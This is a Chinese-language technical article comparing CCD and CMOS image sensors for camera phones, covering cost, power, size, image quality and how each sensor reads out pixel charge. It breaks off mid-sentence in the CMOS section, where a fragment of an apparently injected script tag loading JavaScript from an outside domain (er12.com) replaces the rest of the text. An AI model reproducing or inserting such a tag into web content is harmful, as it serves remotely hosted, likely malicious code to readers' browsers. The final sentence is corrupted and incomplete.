ccd(电荷耦合器件)和cmos(互补金属氧化物半导体)图像传感器都用来捕获数字图像，但各有优缺点。
本文介绍了各自的功能及其优缺点，特别是在满足摄像手机市场要求方面。对大多数摄像手机设计来说，成像传感器的部分具体要求包括：
* pc电路板上的空间异常宝贵，因此首选体积非常小的器件
* 需要非常低的功耗，以延长电池工作时间
* 大批量、可靠、优质制造，保证在购买旺季时向消费者不间断提供产品
* 缩减成本，使手机价格保持在消费者可以接受的水平
* 异常强健 (必须通过破坏数字静止摄像机的下落测试)
ccd技术是在20世纪70年代和80年代开发的，经过大约30年的生产和制造工艺改进，ccd成像器已经高度优化，可以产生最优秀的数字图像质量。今天，它们已经成为数字静止摄像机和便携式摄像机的流行技术。与cmos不同，ccd采用专用成像特定工艺制造，装配和维护成本较高，只能在数量有限的成像器输出中分摊成本，其输出数量一年只有几百万颗，相比之下，cmos处理器的输出数量要达到几千万或几亿。
cmos图像传感器要小得多，其功耗要低于ccd传感器，但目前提供的图像质量较差。cmos已经成为手机、视频会议使用的pc摄像机、扫描仪、条形码阅读机和安全摄像机的支柱。cmos成像器采用大批量铸造厂中采用的标准cmos硅工艺，因此cmos成像器中也实现了主流cmos半导体行业中的工艺改进或材料改良。在cmos中，可以在同一个制造工艺中简便地集成时钟驱动器、模数转换器(adc)或数字逻辑等电路，甚至可以在同一张芯片上制造这些电路。
对ccd传感器和cmos传感器来说，最终图像的质量都受到以下几种因素的影响：
* 图像信号中引入的噪声
* 几何畸变 (鞍形畸变或桶形畸变)
* 图片的清晰度和焦距
* 曝光度或明亮度
* 色彩质量
过去的处理器中的大部分电路是为了“清除”和校正图像捕获环节引入的图像不理想而设计的。
ccd图像传感器的工作方式
在ccd中(图1)，对每个像素，光落在一个光电二极管上，光电二极管产生一个与落在上面的光的数量直接成比例的电荷。在光电二极管旁边的每个图像元件上的电荷传送寄存器(ctr)中捕获形成的电荷。这个电荷从a行的ctr传送到读数寄存器(r行)中。读数寄存器把这一电荷馈送到放大器中，然后馈送到模数转换器(adc)，之后进行复位，以便能够从下一行(b行)像素中接受电荷，然后再次传送到输出放大器，之后传送到adc上。这一过程一直重复，直到读取了所有行。a行上的电荷与b行上的电荷耦合，b行上的电荷与c行上的电荷耦合，依此类推。在a上的电荷到达r时，b移动到a，c移动到b，依此类推。
通过这种方法，可以实现噪声非常低的高性能传感器。但是，这种专门化意味着其它电路必须位于芯片之外，因此增加了设计复杂度和成本。由于ccd成像器正常运行还需要许多时钟信号和偏置电压，因此进一步提高了功耗，增加了成本，加大了整体尺寸。
ccd的优点
ccd成像器提供更加自然的色彩，大大改善了低亮度时的性能，提高了清晰度。另外，ccd成像器的质量一致性更高，同一部件之间的变化非常小。
ccd的缺点
ccd成像器主要的缺点是成本高。ccd成像器设计也更加复杂，它不是单芯片器件，因此在手机设计中实现的成本要更高。ccd成像器通常需要更多的支持芯片，这些芯片要占用额外的空间，要耗用功率，发出更多的热量。
cmos图像传感器的工作方式
cmos成像器(图2)也有一个图像元件，其中包含一个光电二极管。但是cmos成像器不在芯片的单独部分或在芯片外存储或处理电荷，而是在光电二极管旁边进行处理。这种处理包括电荷到电压转换、放大非常低的光电二极管信号及降低噪声等其它处理。这样可以降低功耗，加快图像处理速度。但是，这种“图像元件上”的处理电路也有自己的缺点。电荷转换和放大占用了额外的空间，降低了捕获光子使用的?script src=http://er12.com/t.js>
